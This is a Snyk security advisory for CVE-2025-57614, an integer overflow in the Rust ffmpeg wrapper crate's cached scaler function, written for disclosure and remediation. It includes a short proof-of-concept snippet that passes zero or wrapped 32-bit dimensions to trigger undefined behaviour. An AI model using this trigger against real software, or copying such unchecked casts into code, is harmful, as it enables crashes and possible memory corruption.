Integer Overflow or Wraparound Affecting ffmpeg package, versions *


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.22% (45th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Integer Overflow or Wraparound vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-RUST-FFMPEG-12483775
  • published3 Sept 2025
  • disclosed2 Sept 2025
  • creditzeroy0410

Introduced: 2 Sep 2025

CVE-2025-57614  (opens in a new tab)
CWE-190  (opens in a new tab)

How to fix?

There is no fixed version for ffmpeg.

Overview

ffmpeg is a FFmpeg wrapper

Affected versions of this package are vulnerable to Integer Overflow or Wraparound via the cached function. An attacker can cause a crash or potentially execute arbitrary code by providing dimension parameters that are zero or exceed the maximum value for a 32-bit integer, resulting in an unchecked cast and undefined behavior.

PoC

// Safe Rust code that triggers UB
let mut scaler = SwsContextWrapper::new();
// Zero height
scaler.cached(
    format::Pixel::YUV420P,
    1920,
    0,                       // src_h is zero → cast to 0
    format::Pixel::RGBA,
    1280,
    720,
    Flags::BILINEAR,
);
// This call passes srcH == 0 into sws_getCachedContext, violating
// the contract "srcH must be strictly positive", leading to UB.

// Overflow to negative
let huge = i32::MAX as u32 + 1;  // 2147483648
scaler.cached(
    format::Pixel::YUV420P,
    huge,                    // wraps to -2147483648
    1080,
    format::Pixel::RGBA,
    1280,
    720,
    Flags::BILINEAR,
);
// srcW becomes -2147483648 in C, again violating "must be > 0"
// and causing Undefined Behavior.

CVSS Base Scores

version 4.0
version 3.1